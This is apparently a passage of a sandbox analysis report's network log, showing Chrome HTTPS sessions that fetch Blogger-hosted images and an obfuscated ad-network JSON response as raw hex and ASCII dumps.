2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 20 64 64 03 82 3b 8f 9d 21 aa 35 d8 c7 97 78 a0 40 37 c1 1d 8f ca a2 91 44 da cf 8f 02 29 8a 48 a6 25 79 cd 8e b1 5c cb 11 40 f0 c1 24 98 97 e0 65 45 25 81 f5 28 dd 73 80 c7 04 e0 6f 9c 56 a8 33 8b f5 06 94 36 70 59 e0 8a 30 00 d8 00 07 6c 00 36 18 15 b2 2c f9 be 4f 43 f6 31 fa 40 f6 a2 6c 5b 42 90 70 6c 9c fc f3 48 93 05 22 53 6a b8 02 81 ec d3 04 28 f7 b8 a9 46 d8 a1 07 e3 14 b6 a8 65 a1 78 2e f3 48 92 07 b0 ea 13 48 68 24 c7 a2 4d a9 74 35 00 f8 87 15 60 70 2b 54 21 63 53 07 4f 7a cd d6 ba 98 12 8f a3 50 2a 5b f7 89 96 54 38 64 24 8f ba b2 30 23 d8 ab 30 fb d7 47 25 4e 2d 23 a1 c7 6a 2e d9 1b e2 7c f5 72 a0 e9 61 b6 fe a6 65 c0 fd 1a b8 b2 e1 5e d9 dc 8f 33 f0 3b e7 be 45 e3 10 6f 71 0c 64 10 b9 f2 27 59 80 d6 01 5d 5b 23 0c 86 1b e9 ea 71 f5 e6 4d c7 Data Ascii: dd;!5x@7D)H%y\@$eE%(soV36pY0l6,OC1@l[BplH"Sj(Fex.HHh$Mt5`p+T!cSOzP*[T8d$0#0G%N-#j.\|rae^3;Eoqd'Y][#qM
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: f8 80 e6 83 6f 0a 68 20 4b 33 90 87 ae 11 70 64 6c 6f ee aa 33 dd bb e0 d3 e1 82 fd 38 9f 52 e6 ac 0a 97 ac e7 d7 e7 7b 96 d8 ce fd 73 e9 c2 1f d5 54 1f e7 4d 70 51 3c 74 f9 f9 a4 a9 bd 08 c5 72 ce 72 cc ee 4f 56 76 66 27 ea cc 49 3f ad 43 9d 3c 92 90 52 2b 32 3a d0 89 d9 99 2e 31 de a8 b4 62 d7 8b 9c f5 a2 a1 a8 97 59 5f e4 0d c5 1a 43 a2 28 f2 0f 71 46 d1 a2 c4 5a ec 50 16 47 f8 ac db d5 32 9a 37 e1 77 b8 18 de b3 cf c2 45 07 23 e2 42 b1 51 a1 1a 9e 28 06 49 20 00 09 25 88 55 00 6e 4b 12 40 50 3d c9 02 9b 8f 04 b2 78 1a 00 f1 3f 17 6d a3 42 ea fe 76 3a 68 04 23 63 a9 57 23 d6 a3 f8 94 10 72 30 c7 7c 76 b1 71 1a ab 1d 14 53 7c eb e2 74 b7 80 28 22 18 94 b0 11 c4 4a 86 04 10 7c d2 77 90 95 24 7a ba 67 60 2b af 18 d6 87 d1 2a fc 2c 7e 20 17 84 dd ba 5c 33 Data Ascii: oh K3pdlo38R{sTMpQ<trrOVvf'I?C<R+2:.1bY_C(qFZPG27wE#BQ(I %UnK@P=x?mBv:h#cW#r0\|vqS\|t("J\|w$zg`+*,~ \3
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 8c 0e 17 b0 fd c1 dc d7 99 a3 15 0e 2d 50 9a b2 ec dd ce 2a 99 28 5e ce f7 70 3e 74 a9 44 24 5a fe 1a db 1c 4b 29 ce 12 37 eb 81 9c e7 be 77 38 f6 e9 df a8 ae 27 2a 76 a8 f5 3f 48 c4 d6 4b fc 1c dd cf 57 9a cc b2 83 b6 bd 23 be d8 07 3d 06 d4 ae 1a fc 9e ff 00 2e a3 43 4e 5a e0 92 39 8e 18 d5 9e 59 98 24 4a a3 2c 64 93 01 70 3a fa 57 3f 4c d7 5d 3b 74 71 e7 23 d2 4f c3 17 e0 e2 2b 01 04 b7 51 bc 97 72 2f 98 a8 a2 51 1c 5a 54 6a f3 a4 4c 21 2b a8 69 59 19 54 b1 25 55 c8 ca f7 71 63 70 5b 38 b9 32 36 f6 74 47 36 78 55 04 d1 88 ee 22 42 8c c1 42 e6 6c 31 6c 80 18 47 9c 83 ec de 9c f5 a7 f4 52 d3 17 f7 2b c3 ce cf c6 07 e1 b0 f0 69 e3 ba b6 d4 f6 ee 1b 31 10 c4 a0 42 0b 00 fa 42 10 9a 97 49 66 d5 83 83 fc 43 8f c8 e3 bc 6e d7 87 53 0f 21 cb 45 fd f8 18 f1 49 Data Ascii: -P(^p>tD$ZK)7w8'v?HKW#=.CNZ9Y$J,dp:W?L];tq#O+Qr/QZTjL!+iYT%Uqcp[826tG6xU"BBl1lGR+i1BBIfCnS!EI
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 4a 20 c7 a1 4b 2a e4 0d 89 1e f5 e9 a3 a3 c8 cd 6e c0 9c 47 8e ba cb 22 30 4d 00 27 96 51 89 90 b1 04 c9 e6 02 a1 54 02 54 20 52 dd 18 9c 64 00 d4 c8 a2 46 63 e6 19 9a 59 c3 c6 89 0a 79 6b 6e e2 42 d2 ca 4a 96 99 9d 34 84 8d 15 8a a2 00 cc ec 44 84 e9 1a 01 34 5a 88 73 84 71 83 f3 c6 fb 7f af eb 44 ca 92 21 7e 3d f2 2b f1 3e 1d 75 6f e5 2a cf 14 df 98 e1 f8 6d 7e 73 44 9a a3 27 21 7c b7 93 53 c2 d1 9c 8c 8c 82 43 0a cd 97 1b 92 d0 dc 53 49 ec a2 3f 05 fe 25 98 a5 8f 86 b4 8c 90 ce 65 92 d8 30 df cd 4d 4b 73 62 d9 dd 1a 39 0e b0 3e 20 15 86 3d 0c 06 1c 0a 4a 61 66 f9 2b 3b 0e 3b 11 86 42 a4 47 30 27 cb 6d b4 86 18 91 32 a7 6e b9 18 3d 0d 75 99 cb a3 91 ff 00 1f bf 86 96 b9 82 db 8b 59 44 5e 4e 19 6a 6d ee 2d a2 5d 72 cf 62 ae 19 1e 3e af 23 d9 93 2c 82 20 Data Ascii: J KnG"0M'QTT RdFcYyknBJ4D4ZsqD!~=+>uom~sD'!\|SCSI?%e0MKsb9> =Jaf+;;BG0'm2n=uYD^Njm-]rb>#,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49848	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	674	OUT	GET /img/b/R29vZ2xl/AVvXsEgjZ2wuKeUDSK0w0px0GXL68U_8hwq1x5ZclkWCM98U9Ltg9k2_fStCvFHrkzRLxxZVYq7jlZaFiIgcOW8JZoS2lKtioQGF1vv9slVlt_ouF_EqPViGpjWvfaenf-2iPUqjKS5r_wuN-QzxQcfliUgCiY9Ct5yAPJg633GzebpgmYyXjriEqb8IE-6OF_RL/s320/IMG_20240913_023407_864.jpg HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	484	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v1b5" Expires: Tue, 15 Oct 2024 22:39:54 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="IMG_20240913_023407_864.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:54 GMT Server: fife Content-Length: 34207 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:54 UTC	894	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 0a 0a 0a 08 0a 0a 0a 0a 0a 0a 08 08 08 0a 0a 0a 0a 0d 0a 0a 08 0a 08 08 08 08 08 08 08 0a 0a 08 08 08 0a 08 08 08 08 08 08 08 0a 08 0a 0a 0a 0a 0a 0a 08 08 0b 0d 0a 08 0d 08 08 0a 08 01 03 04 04 06 05 06 0a 06 06 0a 10 0d 0a 0e 0f 0d 0f 0f 0d 0f 0f 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d ff c0 00 11 08 01 40 01 00 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 08 01 09 00 ff c4 00 50 10 00 02 Data Ascii: JFIFExifII1Google@P
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: e2 c7 0f 87 89 20 88 a8 d4 ac 2d 3a 2c 91 12 c8 5c 0d 48 ea d6 e6 2e 2e 07 2c 02 c8 9a b0 e8 4f 95 f6 59 e4 8e 59 51 75 47 07 0b 88 db 0d 3c 62 cb 15 c1 20 9d 6c a4 00 01 de d7 b5 c6 1d e4 8a 69 79 19 aa 16 a7 62 24 e1 ac ba 2d 1b 3b 46 1b 6b 17 45 46 65 b5 ee 2c 1d 6c 48 b1 de c4 e9 6b 2d eb 76 de e3 3e 07 2c cf bb a9 21 58 5e 55 d2 2a 13 5c 44 90 75 a6 94 6d 43 4b 12 05 a4 4e 60 1d ed cd 5a ca 39 23 2b 4b b0 86 29 b2 fb 72 c1 88 08 a3 6e a4 e1 09 20 07 29 0d cc fd f8 41 50 db 98 f6 72 3b 5f ae 04 51 ea 34 0c 90 1f 2c 20 c4 55 39 05 b9 0c 26 84 27 14 36 c0 6d 62 0c 56 c3 da 10 aa 9e e7 af df 82 18 5d 4f 07 9b 0c 22 31 7a 81 f1 f8 7f cf 08 16 39 50 d2 dc 1b 21 3f 1e 5f 96 11 08 a2 58 9b f8 6d 81 dc 84 45 a3 a5 c6 76 e6 5f da 28 4a 4c 1a 97 91 83 16 8b 06 Data Ascii: -:,\H..,OYYQuG<b liyb$-;FkEFe,lHk-v>,!X^U*\DumCKN`Z9#+K)rn )APr;_Q4, U9&'6mbV]O"1z9P!?_XmEv_(JL
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 42 f8 21 7e 98 5e e0 bd 94 18 7b 3c cd f5 8e 1d 64 40 bc 34 26 9b b1 27 a3 01 f8 62 65 91 22 07 89 d8 82 7e ce 32 f2 37 fb f1 27 b8 41 28 70 19 1d 1b 81 ba e0 d6 42 b4 b1 d8 d1 55 4a 4f d9 f9 e2 4d fe 01 f6 86 a9 72 b6 bf 2c 2b 63 38 50 5b e5 8d 6e 5f 86 15 b1 50 87 f7 5b 93 60 0f e3 fd 30 ad 8d 43 95 1f 62 87 37 60 3d 36 c2 dc c4 d0 83 38 cb 91 76 52 4e 16 e1 b6 d8 c5 13 9c 65 ee 45 95 8d f7 1c 20 6c 0b 9d 05 ed 0f 14 d0 02 05 d8 0f bf fa 62 3f 78 9d 62 1c a9 8e 1b 7b 7c 85 b2 87 78 0e 22 f7 18 e9 0b a2 00 e1 6f 64 9b 2c 39 a9 36 c2 df e4 7f 69 10 de d1 4a e3 ed 5b e1 b6 26 8c 95 0f ed 91 29 b2 6d 7f 6f 73 d3 a6 0f 78 eb 18 b3 2d ec 1c 97 bd ff 00 3c 37 b8 1e c4 4e f2 78 4c 62 d6 bf cc df 0b dc 02 78 ef a0 e2 f9 d0 6d 88 1e a3 72 7e 76 c3 ef 44 7e c8 bd Data Ascii: B!~^{<d@4&'be"~27'A(pBUJOMr,+c8P[n_P[`0Cb7`=68vRNeE lb?xb{\|x"od,96iJ[&)mosx-<7NxLbxmr~vD~
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: bd 3d 4c 91 c8 97 20 b4 72 43 13 c6 e0 1d 88 0c 4a dc 06 0a 4d b1 6e 18 65 25 68 a3 97 59 18 ca 99 2a ee 93 bd 3a 2c de 27 9e 81 a5 9a 04 72 86 67 82 68 22 32 0b 5d 11 aa 23 8f 88 cb 7f 16 80 c1 79 12 0d 81 09 e3 70 ea 3e 2d 4a c8 f8 1c bb cc ed f5 26 55 4e d5 75 a6 48 a9 a3 28 1e 64 8a 59 91 0c 8e b1 a0 7e 02 48 c8 1d d9 50 33 28 5d 4c a2 f7 60 30 f8 e0 e7 c2 1b 36 75 0e 58 97 ba 6e fd 68 33 65 2f 40 6a 66 88 6c 66 34 d5 30 d3 5e e4 10 26 a8 86 28 dc a9 07 52 a3 33 2e d7 02 e2 e5 3c 72 8f 2c 82 19 e3 3e 85 95 fb b8 fa 62 22 d2 61 ab 93 e1 0d b9 06 0c ac e1 0d b9 05 1c 80 9e b8 74 2d e0 1f b2 a2 dd 7e eb 61 74 16 f6 36 cd d9 83 d3 a7 cb 05 ba ba 12 6f 4c fa 3a 06 1b 60 96 46 26 a2 d7 02 93 4a 47 30 70 5e e0 0e 08 ea d3 5f a7 e3 83 53 b2 3d 94 12 f9 52 0c Data Ascii: =L rCJMne%hY*:,'rgh"2]#yp>-J&UNuH(dY~HP3(]L`06uXnh3e/@jflf40^&(R3.<r,>b"at-~at6oL:`F&JG0p^_S=R
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 00 20 94 02 ec 24 f6 b9 db 6a c8 96 a7 fc 55 c1 29 ec 77 6d e9 6b a9 e2 ab a3 9d 2a 29 e7 04 c7 2c 66 ea 6c 4a b2 9b 80 51 d1 81 57 8d 80 64 60 41 00 8b 62 09 fc 1d 32 f6 39 29 f3 1e 82 f7 90 79 e2 2f 71 13 ec 61 41 87 9e 1d 64 05 c6 56 13 36 1d e4 41 d2 10 4e 98 0f 70 25 0b e8 55 79 26 6f a0 ed 35 48 b1 e4 6c cb 6e a0 86 72 08 f9 63 97 7a 69 2e 8c ec 32 e4 c7 3e 76 22 5f 0d 4c 2c 2f ad 43 ed f6 4c 62 dd 41 d0 57 55 ce fb e2 c4 77 c5 55 99 ce 93 ba e0 61 ae ec f8 04 b0 92 23 7b f8 07 11 af e7 f5 f7 fc 71 7e 19 9b 54 ca 92 85 b1 b1 72 f5 3c c7 9f d5 07 9f eb d7 13 2c 94 0f b6 bc 14 17 b7 47 72 07 30 cb 15 e9 12 56 a9 cb e5 33 88 ed a9 a5 80 c6 56 78 d1 53 73 2a 80 92 a8 f1 16 11 b2 81 76 18 d1 d1 6a 14 65 52 7d 4c 6f 52 d2 b9 43 7c 7b 7f 62 af f6 1b f6 d7 Data Ascii: $jU)wmk),flJQWd`Ab29)y/qaAdV6ANp%Uy&o5Hlnrczi.2>v"_L,/CLbAWUwUa#{q~Tr<,Gr0V3VxSsvjeR}LoRC\|{b
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: c3 3c 56 60 4d ed 74 67 42 3a ab b0 eb 83 f4 cc ef df 4b c9 5b d5 61 17 86 fb a2 c2 f6 4b a6 79 b2 5c a6 a2 59 0b cd 57 47 0c d3 48 d6 d7 24 ac 82 3d 46 ca 05 d6 28 e3 88 6d f5 63 41 bf 3c 0e ba 4e 5a 89 27 d1 74 2b e8 72 a8 60 5c 5b 26 19 8c f1 ad 6e 86 e2 11 49 4e 18 e8 86 79 53 8f 54 da 57 c5 04 32 05 96 1a 78 a4 ba 12 0e 8a d5 6b 6e a4 c9 87 4f 3f 69 b5 dc 83 26 b5 4b 22 be c6 3d f6 9b ce 53 28 ed 4f 67 b3 c8 96 44 86 b8 8a 1c c5 de 29 a0 8b 40 31 c1 c4 77 9a 08 c3 48 29 65 57 51 7b 91 40 bf 54 29 63 af a6 c6 e5 a7 78 a5 db a1 93 9f 2c 5e 6f 76 3d 3b 9e 89 53 4e c2 db ed 7f d1 c6 44 27 38 f0 69 cb 64 a3 66 2b fd 9b b9 32 c8 bd a9 25 e7 53 fe 25 ac 16 8a 59 62 53 b0 37 22 27 50 5b 7e 67 7b 5b 1b fa 9c ae 1b 6b c1 8b 8a 2a 56 3e 7e d4 4e ce aa 76 66 a9 Data Ascii: <V`MtgB:K[aKy\YWGH$=F(mcA<NZ't+r`\[&nINySTW2xknO?i&K"=S(OgD)@1wH)eWQ{@T)cx,^ov=;SND'8idf+2%S%YbS7"'P[~g{[k*V>~Nvf
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 9b 45 2c 13 4e 63 86 0e 24 8f 2c 9c 18 df 42 eb 54 8c 5e c5 8b ec 08 56 21 b4 98 f6 bb 1b 2c ac d3 9d cd 76 8c 54 65 f4 12 f0 e5 89 8d 2c 01 e2 9e 39 21 9e 29 12 24 49 22 92 29 55 1d 19 19 48 dc 58 ec 41 20 82 64 94 2a 4c 68 be 28 c5 bf b6 7c ff 00 d0 f9 57 fd f0 3f f4 55 38 b1 81 70 06 4e a6 83 f6 56 ec 75 3d 77 64 72 6a 4a 98 d6 5a 7a ac 9a 18 66 8d b9 32 32 15 61 71 ba b0 3b ab 8b 15 60 ac 2c 54 1c 14 93 52 b1 45 5a 3c d3 ac 82 bf bb ce d2 29 06 49 e8 27 04 81 f5 52 bf 2d 76 61 a1 89 1c 31 5b 46 c4 37 86 c5 24 0a 6e b1 54 90 f2 bf 92 02 a8 f4 e7 b7 dd fe d2 54 53 e4 be ec b5 55 54 d9 e4 f4 6e 67 a7 a6 a9 9a 18 32 f2 eb 2c 92 55 b4 50 ba d3 24 ac 89 47 24 72 e9 75 e2 cc 59 55 60 95 92 ba c7 5d 42 6e cb c2 44 f3 fe f7 fb f1 41 c1 22 ca 6a 8f 39 bb d2 92 Data Ascii: E,Nc$,BT^V!,vTe,9!)$I")UHXA d*Lh(\|W?U8pNVu=wdrjJZzf22aq;`,TREZ<)I'R-va1[F7$nTTSUTng2,UP$G$ruYU`]BnDA"j9
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 6d 65 57 11 3f ae 7f 8e 29 b8 51 d0 a9 d8 61 99 47 33 6f c4 fd d8 6d 96 10 7c 19 98 f8 fc 6d fd 76 c3 38 79 19 ab 16 45 5e 0f a7 e5 85 44 72 8b 14 a5 40 f3 c4 bb 11 13 b4 29 43 ea 30 db 50 0d f9 0f 5c 33 40 d8 2b 7a 1c 08 36 97 50 2c d8 06 3d 9c 69 87 4d ce 03 70 fb ab 96 39 52 9d b7 1b e2 78 e4 4d 15 27 d7 81 49 71 89 56 44 40 d1 c6 71 eb 89 54 93 0b 67 80 6b 20 c4 b1 63 35 5d 45 11 b0 c4 d1 92 b2 06 bc 00 aa 07 6b 7c f0 33 76 c3 82 ec c4 ea 98 8d 86 d5 8e d4 a3 6f ef 7c 5f c2 d2 29 4d 3b e0 36 c3 16 9c 88 d3 67 08 c3 26 11 f1 61 87 b8 88 f8 1c 03 fa 08 01 c4 42 3e b6 10 86 ee d0 e4 11 d4 45 24 32 ae a8 e5 5d 2c 3a fa 11 e4 54 ee 0f 42 06 10 e8 6e ec 37 64 16 92 08 e1 04 b1 45 0a 5c f3 6b 72 26 c0 5b e0 36 b9 38 0a 4b 91 e8 7b 38 8d cc 28 80 79 31 14 a6 Data Ascii: meW?)QaG3om\|mv8yE^Dr@)C0P\3@+z6P,=iMp9RxM'IqVD@qTgk c5]Ek\|3vo\|_)M;6g&aB>E$2],:TBn7dE\kr&[68K{8(y1
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: c3 7b 68 5e e0 31 97 03 d3 0b 62 7d 81 79 5a 3e fd d8 3d 7f 5f 2c 2f 6f e8 2f 77 c8 6a d1 0f 2f c7 12 2c 44 7e e0 7a c1 82 f6 c8 e4 ed 98 2b db 7f 21 69 33 fc 98 b1 58 7f c8 32 d2 ca c3 52 b4 e6 a9 9a 7d 4a 0d d8 45 6a 75 3b 00 a2 71 7d 5a 85 b4 f0 bf e8 34 59 d1 c1 3c c9 da 4f eb d3 b1 78 77 08 f3 54 c7 0f d2 d1 4d 15 3d 5c b1 cd 24 51 3c 72 bc b4 75 07 dd cc 61 a7 93 86 a0 44 c1 d9 8b 71 02 97 4d 08 e3 56 7c 69 3e 13 5f 73 53 d4 26 dd a6 ed fd 0d 18 4e 13 89 cf 9d 57 c1 c5 0c c3 a3 97 97 c7 17 e1 3a 20 9a 74 e8 f3 93 b9 4a 49 63 cd b3 58 b8 86 9c d4 66 59 d9 2a f1 71 1a 19 fd fe a2 4a 47 7e 41 a2 2d 28 76 bf 85 e2 d3 e3 5e 22 e2 3d 64 63 92 36 d7 27 45 a3 9c b0 e2 4a 0f 86 b9 fc fa ff 00 99 b9 7b bd c8 0c 52 d5 48 cc 5d a7 8e 90 48 df 55 38 b0 2c ab 75 Data Ascii: {h^1b}yZ>=_,/o/wj/,D~z+!i3X2R}JEju;q}Z4Y<OxwTM=\$Q<ruaDqMV\|i>_sS&NW: tJIcXfY*qJG~A-(v^"=dc6'EJ{RH]HU8,u
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 76 99 ad 4c d4 c8 6b 62 48 6a e2 26 2a 94 88 96 83 de 11 55 99 e1 25 98 f0 a4 57 57 55 66 66 4d 45 4b 36 9b 9a 33 5c f1 d0 69 24 9d 26 49 24 a7 c4 7b 50 22 b5 a5 c5 ca 13 3c ef ef eb b4 f2 54 76 b2 ba 39 18 28 ca 32 ea 68 68 f8 4e ba 83 54 c7 15 54 b2 bb 6f a2 53 3c 8a 8d 0b 34 67 82 80 02 82 43 29 b7 97 e3 85 12 7a 6c 77 e7 94 9b e7 b1 a5 68 bb 76 63 cd f2 3a 7e 21 73 5f 45 9a 2c b1 39 8d a4 a7 61 1d 05 44 1f e8 bc 9f 46 c6 96 a6 db ba 31 76 22 40 54 09 6a 62 57 17 41 ea 7c b7 cd f4 ee 5f f3 10 a0 b3 10 aa a0 96 24 80 aa 07 32 49 b0 00 79 9c 3e d6 f8 45 16 d2 ea 61 df 69 cf 6b 8c 8a ba 6a 3c aa 3a ae 37 f9 91 33 56 53 b7 f9 78 2a 23 8d d2 9d 23 a8 57 5d 6f 21 91 83 34 5a a3 0a 74 b3 f8 99 45 d8 e9 e5 18 d8 38 72 c5 e4 5c 91 0e c8 fb 64 8c b4 91 4c 0d 74 Data Ascii: vLkbHj&U%WWUffMEK63\i$&I${P"<Tv9(2hhNTToS<4gC)zlwhvc:~!s_E,9aDF1v"@TjbWA\|_$2Iy>Eaikj<:73VSx##W]o!4ZtE8r\dLt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49857	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	570	OUT	GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=0&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
2024-10-14 22:39:54 UTC	1306	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: application/json Content-Length: 3942 Connection: close X-Trace-Id: b5a4354f111e642e257469d7231c20cb Link: <https://my.rtmark.net>; rel="preconnect dns-prefetch",<https://yonmewon.com>; rel="preconnect dns-prefetch",<https://sr7pv7n5x.com>; rel="preconnect dns-prefetch" Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Set-Cookie: OAID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:54 GMT; path=/; secure; SameSite=None Set-Cookie: oaidts=1728945591; expires=Tue, 14 Oct 2025 22:39:54 GMT; path=/; secure; SameSite=None Pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Expires: Mon, 26 Jul 1997 05:00:00 GMT
2024-10-14 22:39:54 UTC	3942	IN	Data Raw: 7b 22 6f 6f 22 3a 22 63 2e 23 69 36 4d 2e 23 2e 4a 2e 23 2e 34 2e 34 6f 69 5e 33 6f 57 5e 33 69 23 33 6f 69 36 69 2e 29 45 6c 3a 2e 34 2e 6e 36 35 2e 47 2e 30 6f 71 2e 58 6b 2e 5f 26 2e 30 26 2e 5b 2e 51 2e 7c 2e 6d 2e 6a 4b 2e 51 2e 4c 2e 6a 73 2e 67 59 5a 4b 77 4d 65 2e 21 2a 59 48 3d 2e 49 2e 7c 4b 2e 31 2e 62 74 73 2e 31 74 2e 44 2e 4f 2e 66 68 59 2e 51 2e 67 69 2e 58 2e 4c 68 6b 2a 35 7e 2e 67 68 59 2e 46 2e 4c 2e 67 4d 7d 52 2e 21 2e 62 45 2e 50 76 7e 4e 2e 46 77 2e 44 2e 38 2e 55 26 28 2e 2c 45 2e 67 65 33 6b 5e 2e 66 2e 51 2e 6d 6f 2e 21 7a 6b 7a 35 5a 2e 21 59 35 2e 40 2e 30 6c 2e 40 2e 2f 6f 65 2e 50 3a 2e 5f 71 36 2e 51 2e 46 2e 21 6f 59 28 28 42 4d 6b 2e 46 2e 7c 3d 2e 6d 2e 51 5e 3d 4b 2e 5b 3a 2e 7c 2e 55 2e 31 2e 2c 53 39 3a 2e 2f 2e 44 4b Data Ascii: {"oo":"c.#i6M.#.J.#.4.4oi^3oW^3i#3oi6i.)El:.4.n65.G.0oq.Xk._&.0&.[.Q.\|.m.jK.Q.L.js.gYZKwMe.!YH=.I.\|K.1.bts.1t.D.O.fhY.Q.gi.X.Lhk5~.ghY.F.L.gM}R.!.bE.Pv~N.Fw.D.8.U&(.,E.ge3k^.f.Q.mo.!zkz5Z.!Y5.@.0l.@./oe.P:._q6.Q.F.!oY((BMk.F.\|=.m.Q^=K.[:.\|.U.1.,S9:./.DK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49856	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:53 UTC	690	OUT	GET /img/b/R29vZ2xl/AVvXsEjxtF2EGc4gyb_sNBOEqULAxq-qIaDz6pkBAa_eeZuLk0GKp2-HyWVJDkW54GH47x7ETBMzGncabdWiE000LAOSqr5Nml9pXFw1pHybu0Y6oFfNw9-gQwYXioDXnLTAtbKLmzeQ0W1Fl5BAJIQCDRAXwLfaIiRbgIFP-khGhSv29jzClIqW-5CQNtMdZZ9e/s1600/%D8%AA%D9%86%D8%B2%D9%8A%D9%84%20(18).jpeg HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	531	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v1ab" Expires: Tue, 15 Oct 2024 22:39:54 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="_____ (18).jpeg";filename*=UTF-8''%D8%AA%D9%86%D8%B2%D9%8A%D9%84%20(18).jpeg X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:54 GMT Server: fife Content-Length: 8700 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:54 UTC	847	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 b8 00 00 00 03 a0 04 00 01 00 00 00 12 01 00 00 00 00 00 00 ff db 00 84 00 09 06 07 12 13 12 15 12 12 12 15 16 15 17 17 18 1a 16 17 18 17 18 17 18 18 18 18 18 18 17 17 18 1a 15 18 1d 28 20 18 1a 25 1d 15 1d 21 31 21 25 29 2b 2e 2e 2e 17 20 33 38 33 2d 37 28 2d 2e 2b 01 0a 0a 0a 0e 0d 0e 1b 10 10 15 32 22 1e 25 35 2d 2d 30 2d 2d 37 2b 